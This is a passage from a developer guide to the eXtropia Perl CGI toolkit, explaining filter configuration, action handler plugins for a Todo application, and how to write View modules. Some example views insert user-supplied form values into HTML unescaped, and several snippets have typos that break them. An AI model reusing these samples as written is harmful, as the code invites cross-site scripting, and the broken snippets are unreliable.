    -PAGE_BACKGROUND_COLOR   => 'FFFFFF',
    -PAGE_BACKGROUND_IMAGE   => 'none defined',
    -PAGE_LINK_COLOR         => 'FFFFFF',
    -PAGE_ALINK_COLOR        => 'FFFFFF',
    -PAGE_VLINK_COLOR        => 'FFFFFF',
    -PAGE_FONT_COLOR         => '000000',
    -PAGE_FONT_SIZE          => '-1',
    -PAGE_FONT_FACE          => 'VERDANA, ARIAL, HELVETICA, SANS-SERIF',
    -HOME_VIEW               => 'TOCView',
    -EMAIL_DISPLAY_FIELDS    => \@EMAIL_DISPLAY_FIELDS
);
```

4.7.10 Filter Configuration

Filters are convenient tools that you can apply globally to all views in order to perform logical operations. By default, eXtropia applications dont actually use filters because they are often too situation-dependent to activate for every client.

However, because we expect users to apply filters to all the applications, we have embedded a filter configuration parameter into every application so that you could easily add filtering to your applications should you decide to.

Filter configuration involves two types of configuration variables which are shown in the figure below:

[IMAGE]

These variables should be configured according to the specifics of the drivers you wish to use. By default, in order to show an example, we have included the *Filter::Censor* driver in every application.

1. `@CENSOR_FILTER_CONFIG_PARAMS`

   Specifies the configuration parameters of a specific filter. You can specify as many filter configurations as you would like simply by adding additional configuration variables such as @[YYY]_FILTER_CONFIG_PARAMS

   - -TYPE

     Specifies the filter driver. In this case, we want a Censor filter.

   - -WORDS_TO_FILTER

     Specifies the list of words to censor.

2. `@VIEW_FILTERS_CONFIG_PARAMS`

   Specifies a list of filter configuration parameters. In this case, there is only one, @CENSOR_FILTER_CONFIG_PARAMS.

To help you get a better feel for what session configuration looks like, consider the standard configuration shown below.

```
my @CENSOR_FILTER_CONFIG_PARAMS = (
    -TYPE            => 'Censor',
    -WORDS_TO_FILTER => [qw(
        eric
    )]
);

my @VIEW_FILTERS_CONFIG_PARAMS = (
     \@CENSOR_FILTER_CONFIG_PARAMS
);
```

4.7.11 Application Configuration

Finally, every configuration concludes with the configuration of the application itself. Generally, the configuration is a matter of referencing all the configurations we have already discussed, but at times, it also involves application-workflow specific configuration. This configuration usually takes the form of flags that turn on or off specific features. Consider the sample application configuration shown below. Note that several application specific parameters are set.

```
my @APPLICATION_SETUP = (
    -DH_MANAGER_CONFIG_PARAMS         => \@DH_MANAGER_CONFIG_PARAMS,
    -CGI_OBJECT                       => $CGI,
    -DATASOURCE_CONFIG_PARAMS         => \@DATASOURCE_CONFIG_PARAMS,
    -FORM_VIEW_NAME                   => 'CommentFormView',
    -LOG_CONFIG_PARAMS                => \@LOG_CONFIG_PARAMS,
    -ENCRYPT_CONFIG_PARAMS            => \@ENCRYPT_CONFIG_PARAMS,
    -ENCRYPT_EMAIL_SENT_TO_ADMIN_FLAG => 1,
    -LOG_FORM_SUBMISSION_FLAG         => 1,
    -THANK_YOU_VIEW_NAME              => 'ThankYouView',
    -DEFAULT_VIEW_NAME                => 'FrameView',
    -VALID_VIEWS                      => \@VALID_VIEWS,
    -VIEW_DISPLAY_PARAMS              => \@VIEW_DISPLAY_PARAMS,
    -VIEW_FILTERS_CONFIG_PARAMS       => \@VIEW_FILTERS_CONFIG_PARAMS,
    -VIEW_LOADER                      => $VIEW_LOADER,
    -MAIL_CONFIG_PARAMS               => \@MAIL_CONFIG_PARAMS,
    -USER_RECEIPT_SEND_PARAMS         => \@USER_RECEIPT_SEND_PARAMS,
    -ADMIN_RECEIPT_SEND_PARAMS        => \@ADMIN_RECEIPT_SEND_PARAMS,
    -USER_EMAIL_BODY_VIEW             => 'UserEmailBodyView',
    -ADMIN_EMAIL_BODY_VIEW            => 'AdminEmailBodyView',
    -SEND_ADMIN_RECEIPT_FLAG          => 1,
    -SEND_USER_RECEIPT_FLAG           => 1,
    -CLIENT_EMAIL_ADDRESS             => $CGI->param('email') || ""
);
```

;o)

5 Action Handler Plugins

5.1 Intro

This document explains how Plugins are used in the ADT. How you can write your own plugins and install them inside the action handlers.

5.2 Identifying the need for Plugins

As you have learned already, most of the applications consist of a number of action handlers. In some applications the action handlers are very simple and require no extra coding, however there are cases where an extra code needs to be added.

Consider an application that presents the following input:

```
[Day] [Month] [Year] [Hour] [Minute]
```

resulting in 5 HTML Form widgets (usually as a selectable pull down menus), which all end up in single database field, e.g. *datetime*.

Before the action handler can proceed and insert the record into the database we have to add extra code to concatenate these five variables together. Moreover we have to do some error checking to make sure that user has selected a date and it's a valid date.

The same operation is to be performed at least on insertion and modification actions.

When the user wants to do something with the record, we have to do the reverse operation -- users won't be comfortable with seeing 200110200723, they would prefer to see something like:

```
20 October 2001 07:23
```

instead. So we have to perform this conversion and again we have to do for more than one action handler in most cases.

Of course the code to do that can be replicated across all the action handlers that need it, but it has two drawbacks:

1. The code becomes hard to maintain, since every time we decide to change something we have not to forget to go through the rest of the action handlers and adjust these as well.

2. We have to fork the default action handlers, unnecessary making the code base bigger and again harder to maintain, in case the default handlers change and we have to merge these changes back into our forked copies of the action handlers.

The obvious solution for (1) is to put the code that is to be re-used into subroutines and call it whenever needed. But this doesn't solve (2), we still have to fork action handlers.

So the solution for both problems is to provide users an interface for providing their own functions and ADT will check whether such functions were registered and run them. This makes it possible to provide your own functions without forking the default action handlers.

Read on and things will become more clear as we show an example.

5.3 Two ways to call plugins

As we have explained in the previous section, we have identified a need to check whether some inputs modifications needs to be done on the way to the database and on the way from the database. Therefore ADT provides ready-made hooks for this features.

`handleIncomingData()` accepts an optional *-ACTION_HANDLER_PLUGINS* named parameter, and if there is at least one plugin registered by the application (usually in '.cgi'), `handleIncoming-Data()` will run the plugins first thing first.

However if you want to call some plugins directly from the action handler, since you've identified some code re-usability and you are developing a set of action handlers that will be re-used by many other apps, you can add a check whether some plugins were registered and run them.

Let's look at some examples.

5.4 Default Plugins in Todo application

We will use the Todo application as an example.

First we look at *todo.cgi* and find the definition of

```
my %ACTION_HANDLER_PLUGINS =
  (

   'Default::DisplayAddFormAction' =>
   {
    -DisplayAddFormAction     => [qw(Plugin::Todo::DisplayAddFormAction)],
   },

   'Default::DisplayDetailsRecordViewAction' =>
   {
    -loadData_END             => [qw(Plugin::Todo::DBRecords2InputFields)],
    -handleIncomingData_BEGIN => [qw(Plugin::Todo::InputFields2DBFields)],
   },
....
```

```
    'Default::ProcessAddRequestAction' =>
    {
     -loadData_END             => [qw(Plugin::Todo::DBRecords2InputFields)],
     -handleIncomingData_BEGIN => [qw(Plugin::Todo::InputFields2DBFields)],
    },
....
};
```

If you look at *todo.cgi* you will notice that there are a dozen of other action handlers that use exactly the same definition as they all reuse the same plugins.

`%ACTION_HANDLER_PLUGINS` is later added to:

```
my @ACTION_HANDLER_ACTION_PARAMS = (
...
  -ACTION_HANDLER_PLUGINS                => \%ACTION_HANDLER_PLUGINS,
);
```

`%ACTION_HANDLER_PLUGINS` is a hash variable whose keys are the package names of the action handlers and the values are references to a hash, whose keys are the names of the triggers and the values are a reference to a list of plugins to be run in the listed order. This allows us to run more than one plugin for the same trigger.

Triggers are merely identifiers of what plugins we want to run. As we have mentioned before ADT comes with a number of pre-defined triggers, so in most cases you just want to reuse the existing triggers and only provide your own plugins if any.

5.4.1 -DisplayAddFormAction trigger

Let's start from:

```
    'Default::DisplayAddFormAction' =>
    {
     -DisplayAddFormAction     => [qw(Plugin::Todo::DisplayAddFormAction)],
    },
```

`-DisplayAddFormAction` is the first predefined in ADT trigger which gives us a chance to preselect some fields when the Add Form is rendered. A good use for this plugin can be in applications that for example need to set the defaults in pull down menus to the current date. Which is the case with Todo application. Let's look at the plugin. Look at the file under *Modules/Extropia/ActionHandler/Plugin/Todo/DisplayAddFormAction.pm*.

```
package Plugin::Todo::DisplayAddFormAction;

use strict;
use Extropia::Core::Base qw(_rearrange _rearrangeAsHash);
use base qw(Extropia::Core::Action);

sub execute {
    my $self = shift;
    my ($params) = _rearrangeAsHash
        ([
          -CGI_OBJECT,
          -DATETIME_CONFIG_PARAMS,
         ],
         [
          -CGI_OBJECT,
          -DATETIME_CONFIG_PARAMS,
         ],
         @_
        );

    my $cgi     = $params->{-CGI_OBJECT};

    my $datetime_config = $params->{-DATETIME_CONFIG_PARAMS};
    my $date_obj = Extropia::Core::DateTime::create
        (
         @$datetime_config,
         -DATETIME   => 'now',
        );
    for my $prefix (qw(start due)) {
        $cgi->param("${prefix}_day", $date_obj->mday);
        $cgi->param("${prefix}_mon", $date_obj->month);
        $cgi->param("${prefix}_year",$date_obj->year);
    }

    $cgi->param("status",1);

    return 2;
}

1;
```

If you are familiar with Action Handlers you can immediately see that Plugins are written in exactly the same way. They can register for the named parameters just like the action handlers, but they always return 2, since they never take control over the flow, but return it to the caller.

As you can see the only thing this plugin does is populating the following fields: start_day, start_mon, start_year, due_day, due_mon and due_year using the current date object. In addition we decided to preset the status of the Todo items to 1 by default (we could also do this from within todo.cgi file, plugins are mostly useful for things unknown when the code is written.

Now how this plugin is called: If we look at Default::DisplayAddFormAction, the last thing it performs before passing the control to the view generator, is:

```
        $app->runPlugins
            (
             -ACTION_HANDLER_PLUGINS => $params->{-ACTION_HANDLER_PLUGINS},
             -CATEGORY               => '-DisplayAddFormAction',
            );
```

So now you know how to plugin your own triggers in addition to existing ones. Notice that this code will not fail if there will be no plugins registered.

5.4.2 -loadData_END trigger

This entry in todo.cgi was making sure that when a todo item is presented to user, the start and due dates will be presented in human-preferred form:

```
    'Default::DisplayDetailsRecordViewAction' =>
    {
     -loadData_END             => [qw(Plugin::Todo::DBRecords2InputFields)],
     -handleIncomingData_BEGIN => [qw(Plugin::Todo::InputFields2DBFields)],
    },
```

The *-loadData_END* trigger gets invoked at the *END* of the `loadData()` code, when the data has been already retrieved from the database. If we look at Plugin::Todo::DBRecords2InputFields, the code is again very simple:

```
package Plugin::Todo::DBRecords2InputFields;

use strict;
use Extropia::Core::Base qw(_rearrangeAsHash);
use base qw(Extropia::Core::Action);

sub execute {
    my $self = shift;
    my ($params) = _rearrangeAsHash([-RECORDS,],[-RECORDS,],@_);
    my $ra_records = $params->{-RECORDS};

    for my $rh_record (@$ra_records) {

        if ($rh_record->{start_date} =~ /^(\d{4})-(\d\d)-(\d\d)/) {
            $rh_record->{start_day}  = $3 + 0;
            $rh_record->{start_mon}  = $2 + 0;
            $rh_record->{start_year} = $1 + 0;
        }
        if ($rh_record->{due_date} =~ /^(\d{4})-(\d\d)-(\d\d)/) {
            $rh_record->{due_day}  = $3 + 0;
            $rh_record->{due_mon}  = $2 + 0;
            $rh_record->{due_year} = $1 + 0;
        }

    }

    return 2;
}
1;
```

It takes the *start_date* and the *due_date* fields for every passed record and splits them into day, month and year, which the rendering code will automatically render as human readable fields.

As you can see this code needs to be run, every time we need to present at least one record to the user, and as you can see the Todo application has not a single forked action handler. It completely reuses the default action handlers.

5.4.3 -handleIncomingData_BEGIN trigger

Finally the most advanced in the Todo application is the plugins called for *-handleIncomingData_BEGIN trigger*:

```
'Default::ProcessAddRequestAction' =>
{
 -loadData_END             => [qw(Plugin::Todo::DBRecords2InputFields)],
 -handleIncomingData_BEGIN => [qw(Plugin::Todo::InputFields2DBFields)],
},
```

just like the trigger's name suggests it gets called as the first thing in `handleIncomingData()` subroutine. Now we want to convert the user readable inputs into the form the database accepts and do a rudimentary error checking on the way. Here is Plugin::Todo::InputFields2DBFields, we will comment on it as we go:

```
package Plugin::Todo::InputFields2DBFields;

use strict;
use Extropia::Core::Base qw(_rearrangeAsHash);

use base qw(Extropia::Core::Action);
use Extropia::Core::DateTime;

sub execute {
    my $self = shift;
    my ($params) = _rearrangeAsHash
        ([
          -CGI_OBJECT,
          -APPLICATION_OBJECT,
          -SESSION_OBJECT,
          -DATETIME_CONFIG_PARAMS,
         ],
         [
          -CGI_OBJECT,
          -APPLICATION_OBJECT,
          -SESSION_OBJECT,
          -DATETIME_CONFIG_PARAMS,
         ],
         @_
        );

    my $cgi     = $params->{-CGI_OBJECT};
    my $app     = $params->{-APPLICATION_OBJECT};
    my $session = $params->{-SESSION_OBJECT};
    my $datetime_config = $params->{-DATETIME_CONFIG_PARAMS};
```

so far, nothing new, we have just accepted the named parameters we have registered for.

The following code sets *start_date* and *due_date* db fields (and also *original_* and *search_* values if available

```
    for my $prefix ( qw(start due original_start original_due search_start search_due) ) {
        # set the date only if all values were set. Note that since
        # none of this can be 0, we don't need to use defined().
        if ($cgi->param("${prefix}_day") and
            $cgi->param("${prefix}_mon") and
            $cgi->param("${prefix}_year")) {

            $cgi->param("${prefix}_date",
                        sprintf "%04d-%02d-%02d",
                        $cgi->param("${prefix}_year"),
                        $cgi->param("${prefix}_mon"),
                        $cgi->param("${prefix}_day"),
                       );
        }


    }
```

Next we create the current date object and set the *last_mod_date* field before the data goes into the database.

```
        my $date_obj = Extropia::Core::DateTime::create
            (
             @$datetime_config,
             -DATETIME   => 'now',
            );
        $cgi->param('last_mod_date',
                    $date_obj->get(-FORMAT => "%Y-%m-%d %H:%M:%S")
                   );
```

And we are done with database field preparation.

```
    }
    1;
```

We finish the code normally.

5.5 Conclusion

We have presented the concept of plugins and shown how the Todo application takes benefit of it, by writing just a few minimal plugins to customize the application, without forking any action handler.

Now if we want to change the behavior of the Todo application we have to deal with just a few lines of unique code rather with multiply files with duplicated code.

WebCal is another application that takes a great deal of benefit using the plugins. Since WebCal has much more data to process its plugins do more things, but there aren't more complicated then the plugins we have just presented.

So the next time you want to write your customized version of the application don't rush and fork the application, but use the plugins instead for your own and other users benefits. You are endorsed to contribute your plugins back so others can reuse them as well.

;o)

6 Modifying the Look-and-Feel of eXtropia Applications

6.1 Overview

We admit it. We at eXtropia are not necessarily the best graphic designers in the world. We try our best to write clean interfaces with which to demo our tools. But we dont write anything too schnazzy.

In fact, it is our intent that you should never use the designs we distribute as the default application. Instead, we have taken great pains to isolate the user interface from the programming code. That way, you dont need to be an expert programmer to make the application look like part of your website.

If you know a smidgen of Perl and HTML, you can make any of our applications look any way youd like.

All this capability stems from the powerful Extropia::View hierarchy.

Views allow you to create plug and playable user interface components that you can use in one application or share amongst many. Because they support filters, they can even integrate into an existing SSI architecture so that your CGI applications can use the same SSI files as your HTML documents.

As a result, when you change the look-and-feel of your site, you don’t need to hire a programmer to come in and clean up the scripts. Your applications should transfer relatively easily!

Views are typically stored in the *appname/Views/eXtropia* directory.

By default eXtropia applications have a standard look-and-feel that includes a base frame that is divided into a top, bottom and middle frame. The middle frame usually includes the active part of the application. The following figure shows how the views fit together in a typical application.

[IMAGE]

Although each application has plenty of application-specific views, there are seven views that are shared by all applications.

- **Views/Extropia/StandardTemplates/TopFrameView.pm**

  Defines the top frame.

- **Views/Extropia/StandardTemplates/BottomFrameView.pm**

  Defines the bottom frame.

- **Views/Extropia/StandardTemplates/FrameView.pm**

  Defines the basic frameset.

- **Views/Extropia/StandardTemplates/ErrorDisplayView.pm**

  Defines the view used to report errors.

- **Views/Extropia/StandardTemplates/PageTopView.pm**

  Defines the page top.

- **Views/Extropia/StandardTemplates/PageBottomView.pm**

  Defines the page bottom.

- **Views/Extropia/AuthManager/CGIViews.pm**

  Defines several views used for authentication and registration.

An illustrated, concrete example of how all these views fit together is shown below:

[IMAGE]

6.2 How Extropia::View Implements Look-And-Feel

All Views have the same basic structure:

1. **Define their package name.**
2. **Import supporting modules and tools.**
3. **Declare the inheritance as Extropia::View sub-classes.**
4. **Define a display() method that returns the view content.**

Consider the following simple view:

```
    package MyNewView;

    use strict;
    use Extropia::Base qw(_rearrange);
    use Extropia::View;
    use vars qw(@ISA);
    @ISA = qw(Extropia::View);

    sub display {
        my $self = shift;
        @_ = _rearrange([
            -SCRIPT_DISPLAY_NAME,
            -SCRIPT_NAME
            -CGI_OBJECT
                        ],
                        [
            -SCRIPT_DISPLAY_NAME,
            -SCRIPT_NAME
            =CGI_OBJECT
                        ],@_);

        my $script_display_name = shift;
        my $script_name         = shift;
        my $cgi                 = shift;

        my $content = $cgi->header();


        $content .= qq[
            <HTML>
            <HEAD>
                <TITLE>Hello world</TITLE>
            </HEAD>
            <BODY>
            Hello Cyberspace.  Welcome to the application $script_display_name!
            If you would like to go back to the beginning, click
            <A HREF = "$script_name">here</A>
            </BODY>
            </HTML>
        ];
        return $content;
     }
```

6.2.1 Defining the Package Name

The first thing any view will do is define its package name. The package name is the same as the file name minus the *.pm*. Thus, if you had created a file called *MyNewView.pm*, you would use the following package definition:

```
    package MyNewView;
```

You should note a couple of things about this package name other than the fact that it must match the file-name minus the *.pm* ending.

First, you can access the view by its name through any application. For example, to call a view, you could use something to the effect of:

http://www.yourdomain.com/cgi-bin/appname/app_name.cgi?view=MyNewView

You could also reference it from a form using a HIDDEN form tag such as:

```
<INPUT TYPE = "HIDDEN" NAME = "view" VALUE = "MyNewView">
```

Either way, you will set the incoming CGI parameter view to `MyNewView` and as a result, the `_loadViewAndDisplay()` method in the application object (eg. *MLM.pm*) will call your view and display it (provided that it is included in the `@VALID_VIEWS` array defined in the application executable such as *mailinglistmanager.cgi*).

6.2.2 Importing Supporting Modules

```
use strict;
use Extropia::Base qw(_rearrange);
```

All views import a standard set of modules including the following:

- **strict**

  Used to enforce good coding of views. It will warn you if you make careless errors.

- **Extropia::Base**

  Provides the `_rearrange()` method that we'll use to parse incoming configuration and send parameters.

6.2.3 Declaring View Inheritance

```
use Extropia::View;
use vars qw(@ISA);
@ISA = qw(Extropia::View);
```

All views inherit from `Extropia::View`. Inheritance is achieved using the `@ISA` array.

6.2.4 Defining the display() Method

The real work of a view is done in its `display()` method. A sample `display()` method was shown earlier in this section of the guide.

Every `display()` method performs the following functions:

1. **Parse incoming global display parameters into local variables using the _rearrange() method from Extropia::Base.**
2. **Define the $content variable.**
3. **Add HTML code to the $content variable.**
4. **Return the $content variable to the caller.**

Parsing incoming globals

All views can access the display parameters defined in the `@VIEW_DISPLAY_PARAMS` in the application executable. As we mentioned before, the benefit of defining view globals in a single array is that to make application-wide look-and-feel changes, you may modify the one array rather than all of the HTML.

The only trick is getting access to the globals.

To do so, you must use the `_rearrange()` method defined in `Extropia::Base`. As we have explained in the section on Application Toolkit Architecture described in the Further Resources appendix, the method takes a list specifying an order, a list specifying a set of required fields, and a list of parameters. The `_rearrange()` method will order the list and check for the required fields. Once reordered, you can then shift off the parameters to local variables.

```
@_ = _rearrange([
        -PARAM_ONE
        -PARAM_TWO
            ],
            [
        -PARAM_ONE
        -PARAM_TWO
            ],@_);

my $param_one = shift;
my $param_two = shift;

# You can use any of the globals defined in
# @VIEW_DISPLAY_PARAMS and if you
# wish to define other globals, you can just add them
# to that array and grab them here!
```

Using $content

Views do not actually ’display’ themselves per se. Actually, they just create a view (typically using HTML but possibly defining XML or even pipe delimited streams) and hand it back as a string of content to the caller application. The caller application can then filter the view or print it out as it desires.

The important piece to understand is that you should never call `print()` from a view. Instead you should use the .= operator to continually ’append’ to a growing view string.

Typically, we store the view in the variable $content.

When we are done creating the view, we then return $content.

For example, you might have

```
my $content = qq[
    <HTML>
    <HEAD>
        <TITLE>Hello Cyberspace</TITLE>
    </HEAD>
    <BODY>
        Hello Cyberspace
    </BODY>
    </HTML>
];
return $content;
```

6.2.5 Sticky Forms

Some views have a little more intelligence than others. For example, consider the job of a TopFrameView. All it has to do is display a very simple HTML page. A view that defines an ’Add’ form, on the other hand, must not only display the ’Add’ form, but must be able to ’remember’ the value that the user typed in if they cause a data handler error and are returned to the form to complete it correctly. The concept of memory and states is a bit un intuitive, so lets look at an example.

Consider the add form from the mailing list manager application shown in the next figure. In this case, you can see that there has been a pretty suspicious email address supplied.

Because we have specified that the email field should be validated, we can assume that this email address will not pass the data handler stage.

However, we should also give the user the benefit of the doubt and allow them to finish entering the right data. In this case, we want the form to be sticky. That is, we want the values originally supplied by the user to be shown again when the form is returned. The following figure shows the results of that submission.

[IMAGE]

As you can see, the ’Add’ form is again displayed, but this time, with an error message, and all the users original information has been inserted into the textfields.

How can the application remember the values and how do the views get this information?

Well, if you look closely at `@VIEW_DISPLAY_PARAMS` in the application executable, you will notice that -CGI_OBJECT is one of the parameters that is passed to all views as a global.

As a result, you can easily pull out any value that was sent in from the form using the CGI objects easy-to-use `param()` method. Consider the following example:

```
package MyNewView;

use strict;
use Extropia::Base qw(_rearrange);
use Extropia::View;
use vars qw(@ISA);
@ISA = qw(Extropia::View);

sub display {
    my $self = shift;
    @_ = _rearrange([
            -SCRIPT_DISPLAY_NAME,
            -SCRIPT_NAME,
            -CGI_OBJECT
        ],[
            -SCRIPT_DISPLAY_NAME,
            -SCRIPT_NAME,
            -CGI_OBJECT
        ],@_);

my $script_display_name = shift;
my $script_name         = shift;
my $cgi                 = shift;
my $name                = $cgi->param('name') || " ";

my $content = $cgi->header();
```

```
$content .= qq[
    <HTML>
    <HEAD>
        <TITLE>Hello $name</TITLE>
    </HEAD>
    <BODY>
    <FORM>
        Name: <INPUT TYPE = "TEXT" NAME = "name" VALUYE = "$name">
        <INPUT TYPE = "HIDDEN" NAME = "view" VALUE = "MyNewView">
        <INPUT TYPE = "SUBMIT">
    </FORM>
    </BODY>
    </HTML>
    ];
return $content;
```

Notice that you can easily get the value of the last form submission by using `param()`. Notice also that we should specify that if there is no value from the CGI form, that the alternative (||) value should be an empty string.

If we don't do that we could get uninitialized variable warning messages such as the one seen in the following figure. This is because, as you can see, we can use this form multiple times. The first time the form is displayed, the user would not have entered a name yet and the value would be null causing the variable to be uninitialized.

[IMAGE]

6.2.6 Error Messages

Another useful global variable that is sent to all views is the `-ERROR_MESSAGE` parameter that contains an array of error messages that the application object has built up. To access the values in the array, you simply need to loop through them and do something with them.

By default, eXtropia applications typically display them using a
 break using the routine defined in *Views/StandardTemplates/ErrorDisplayView.pm*.

```
if ($error_messages) {
    my $error_messages = shift;
    $content .=  qq[
        <TR>
            <TD BGCOLOR = "000000" COLSPAN = "2">
            <FONT FACE = "$page_font_face" COLOR = "WHITE"
                SIZE = "$page_font_size">
            <B>Error Notice</B>
            </FONT>
            </TD>
        </TR>

        <TR>
            <TD COLSPAN = "2">
            <FONT FACE = "$page_font_face" COLOR = "BLACK"
                SIZE = "$page_font_size">
    ];

    my $error_message;
    foreach $error_message (@$error_messages) {
        $content .= "$error_message<BR>";
    }

    $content .= qq[
        <BR>Please try again!
        </FONT>
        </TD>
        </TR>
    ];
}
```

6.2.7 Maintaining Application State

Actually, when maintaining state, the least of your worries is getting at the values of the last form submitted. In complex applications you will likely need to get a hold of data submitted 10 or 12 forms ago!

To do that, views rely on the session object. The session object provides a key that unlocks the doorway into the session memory and is accessible through the `-VIEW_DISPLAY_PARAMS` and `-SESSION_OBJECT` variables.

Getting values out of a session is as simple as using the `getAttributes()` method as shown below:

```
$lname = $session->getAttributes('lname');
```

A side note worth mentioning is that every view that returns the user to the application, must pass to the application the session id that ties the application to a given session. Typically this is done with a HIDDEN form tag in the case of HTML forms such as:

```
<INPUT TYPE = "HIDDEN" NAME = "session" VALUE = "$session_id">
```

or with a URL string in the case of a GET request such as in the following example:

http://www.yourdomain.com/cgi-bin/mlm.cgi?session=DHFKSILK&HJK

But where do you get that strange looking session id from?

Well, you get it from the session object using the `getId()` method as in the following example:

```
my $session_id =  $session->getId();
```

6.2.8 Views Within Other Views

Another crucial concept to understand is the ability for views to contain other views. This makes your views extremely powerful because it allows you to efficiently break out user interface components that can be reused across applications.

A good example of how this works can be seen in the BasicDataView views that we've discussed previously. To emphasize this we provide another example view's `display()` method below that includes several other view components:

```
sub display {
    [...some variable definition stuff...]
    my $content = $cgi->header();
    $content .= qq[
        <HTML>
        <HEAD>
            <TITLE>WebDB Result Set</TITLE>
        </HEAD>
        <BODY TEXT = "$page_font_color"
            BGCOLOR = "$page_background_color" MARGINWIDTH = "0"
            MARGINHEIGHT = "0" LINK = "BLACK" ALINK = "BLACK"
            VLINK = "BLACK">
        <CENTER>
        <TABLE WIDTH = "90%" BORDER = "0" CELLSPACING = "0"
            CELLPADDING = "0">
        <TR>
            <TD HEIGHT = "5"></TD>
        </TR>
        </TABLE>
        <P>
    ];

    my $error_view = $self->create(ErrorDisplayView);
    $content .= $error_view->display(@display_params);

    my $search_box_view = $self->create(SearchBoxView);
    $content .= $search_box_view->display(@display_params);

    $content .= qq[
        <TABLE WIDTH = "90%" BORDER = "0" CELLSPACING = "0"
            CELLPADDING = "0">
        <TR>
            <TD COLSPAN = "$number_of_columns" BGCOLOR = "$color_for_headers">
            <FONT COLOR = "WHITE" FACE = "$page_font_face" SIZE = "-1">
            <B>Result Set</B>
            </FONT>
            </TD>
        </TR>

        <TR>
            <TD HEIGHT = "5"></TD>
        </TR>

        <TR>
    ];

    my $field;
    foreach $field (@columns_to_view) {
        $content .= qq[
            <TD BGCOLOR = "6699CC" VALIGN = "TOP">
            <FONT COLOR = "BLACK" FACE = "$page_font_face" SIZE = "-1">
            <B>$field_name_mappings{$field}</B>
            </FONT>
            </TD>
        ];
    }

    $content .= qq[
        <TD BGCOLOR = "6699CC" ALIGN = "CENTER" VALIGN = "TOP">
        <FONT COLOR = "BLACK" FACE = "$page_font_face" SIZE = "-1">
        <B>Modify</B>
        </FONT>
        </TD>
        <TD  BGCOLOR = "6699CC" ALIGN = "CENTER" VALIGN = "TOP">
        <FONT COLOR = "BLACK" FACE = "$page_font_face" SIZE = "-1">
        <B>Delete</B>
        </FONT>
        </TD>
        </TR>
    ];

    my $record;
    my $counter = 1;

    $record_set->moveFirst();
    while (!$record_set->endOfRecords()) {
        [...Some code to display each record in the datasource...]
    }

    $content .= qq[
        <TR>
            <TD HEIGHT = "5"></TD>
        </TR>
        </TABLE>
    ];

    my $footer_view = $self->create(RecordSetDetailsFooterView);
    $content .= $footer_view->display(@display_params);

    $content .= qq[
        </CENTER>
        </BODY>
        </HTML>
    ];
    return $content;
}
```

6.2.9 Adding Your own Parameters

Finally, it is very possible that you will come up with your own parameters that you will want to have globally defined for all your views. After all, the more you define as global parameters, the less you have to change when you do a look-and-feel revamp.

Adding new parameters is extremely easy. All you need to do is add the parameters to the `@VIEW_DISPLAY_PARAMS` array in the application executable (eg. *webguestbook.cgi*) and then prepare your views to accept the parameters as discussed previously in the section on Defining the display() method.

Thus, if you would like to include a global view parameter such as `-COPYRIGHT_NOTICE` that will appear on the bottom of every one of your views, you should add such a parameter to this configuration array such as in the following example

```
my @VIEW_DISPLAY_PARAMS = (
    -INPUT_WIDGET_DEFINITIONS   => \%INPUT_WIDGET_DEFINITIONS,
    -INPUT_WIDGET_DISPLAY_ORDER => \@INPUT_WIDGET_DISPLAY_ORDER,
    -ROW_COLOR_RULES       => \@ROW_COLOR_RULES,
    -FIELD_COLOR_RULES     => \@FIELD_COLOR_RULES,
    -CGI_OBJECT            => $CGI,
    -DOCUMENT_ROOT_URL     => 'http://www.mydomain.com/',
    -IMAGE_ROOT_URL        => 'http://www.mydomain.com/images/v,
    -SCRIPT_DISPLAY_NAME   => 'Mailing List Manager',
    -SCRIPT_NAME           => 'mlm.cgi',
    -PAGE_BACKGROUND_COLOR => 'FFFFFF',
    -PAGE_BACKGROUND_IMAGE => 'none defined',
    -PAGE_LINK_COLOR       => 'FFFFFF',
    -PAGE_ALINK_COLOR      => 'FFFFFF',
    -PAGE_VLINK_COLOR      => 'FFFFFF',
    -PAGE_FONT_COLOR       => '000000',
    -PAGE_FONT_SIZE        => '-1',
    -PAGE_FONT_FACE        => 'VERDANA, ARIAL, HELVETICA, SANS-SERIF',
    -COPYRIGHT_NOTICE      => ' - Consider everything I think, say, ' .
        'or create to be public domain!'
);
```

Notice that we did not forget to put a comma after `-PAGE_FONT_FACE` when we added `-COPYRIGHT_NOTICE`.

Now you know that your `-COPYRIGHT_NOTICE` will be passed as a global to all views. What you need to do now is make sure that your views are prepared to accept the new parameter. To do that, you'll need to modify the arguments passed to the `_rearrange()` method in the view module.

What you will need to do is make sure the view is listening for the new global. To do so, just make a few simple modifications as shown below:

```
package MyNewView;

use strict;
use Extropia::Base qw(_rearrange);
use Extropia::View;
use vars qw(@ISA);
@ISA = qw(Extropia::View);

sub display {
    my $self = shift;
    @_ = _rearrange([
            -COPYRIGHT_NOTICE,  # ADD THIS HERE TO PLACE THE VARIABLE
                                # FIRST ON THE @_ ARRAY
            -PAGE_BACKGROUND_COLOR,
            -PAGE_FONT_COLOR,
            -PAGE_FONT_FACE,
            -PAGE_FONT_SIZE],
                          [
            -COPYRIGHT_NOTICE,  # ADD THIS TO MAKE THE PARAMETER REQUIRED.
            -PAGE_BACKGROUND_COLOR,
            -PAGE_FONT_COLOR,
            -PAGE_FONT_FACE,
            -PAGE_FONT_SIZE],
            @_);

    my $copyright_notice = shift;  # And add this one, but make sure it is
                                   # added first (according to _rearrange())
    my $page_background_color = shift;
    my $page_font_color       = shift;
    my $page_font_face        = shift;
    my $page_font_size        = shift;

    my $content =  qq[
        <HTML>
        <HEAD>
        <TTILE></TITLE>
        </HEAD>
        <BODY BGCOLOR = "$page_background_color"
                TEXT ="$page_font_color">
        blah blah blah blah blah
        $copyright_notice     <!-- use it right here-->
        </BODY>
        </HTML>
    ];

    return $content;

}
```

With five simple changes, you will now be able to use this variable in any view! Lets review the changes.

- **Add the new variable to the @VIEW_DISPLAY_PARAMS array in the configuration file.**

- **Create a new view.**
- **Add the new configuration variable to the call to _rearrange() in the display() method of the new view. Remember that it must be added twice if it is going to be ordered and required.**
- **Shift the value off to a local variable after the call to _rearrange().**
- **Use the variable in the display() method.**

What is better, if you ever need to change the copyright notice, rather than going into each view and changing it, you can just edit the view configuration variable and it will be reflected in every view that uses it.

6.2.10 Walking Through Record Sets

Another operation often performed in views is the walking through of record sets. Typically, if an application uses a data source to store its data, all views that display that data will have to walk through the record set returned from data source search operations.

It actually sounds much worse than it is. Here is some sample view code that prints the records in a record set.

```
sub display {
    my $self = shift;
    @_ = _rearrange([
            -RECORD_SET,
            -CGI_OBJECT
                    ],
                    [
            -RECORD_SET,
            -CGI_OBJECT
                    ],
                    @_
                    );

    my $record_set = shift;
